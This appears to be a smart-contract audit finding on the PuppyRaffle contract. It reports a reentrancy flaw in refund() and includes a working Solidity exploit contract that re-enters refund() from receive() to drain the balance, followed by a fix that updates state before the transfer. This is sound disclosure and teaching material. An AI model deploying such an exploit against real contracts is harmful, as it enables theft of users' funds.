Summary
Puppyraffle
can be drained in a conical reentrancy attack through the Refund()
function.
Vulnerability Details
PuppyRaffle::refund
updates state variables after the external call payable(msg.sender).sendValue(entranceFee);
. The refund function can therefor continiously be called by a player who have entered the contract until the complete contract is drained.
PoC
pragma solidity ^0.7.6;
import {PuppyRaffle} from "./PuppyRaffle.sol";
contract ExploitRefund {
PuppyRaffle public raffle;
uint256 ticketPrice;
uint256 playerIndex;
constructor(address _raffle) {
raffle = PuppyRaffle(_raffle);
ticketPrice = raffle.entranceFee();
}
function enterRaffle() public payable {
address[] memory players = new address[](1);
players[0] = address(this);
raffle.enterRaffle{value: msg.value}(players);
playerIndex = raffle.getActivePlayerIndex(address(this));
}
function refund() public {
raffle.refund(playerIndex);
}
receive() external payable {
try raffle.refund(playerIndex) {} catch {}
}
}
Impact
The entire balance can be stolen.
Tools Used
Foundry
Recommendations
Update players[playerIndex]
before refunding the player AND add a re-entrancy guard.
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
- payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);
+ payable(msg.sender).sendValue(entranceFee);
emit RaffleRefunded(playerAddress);
}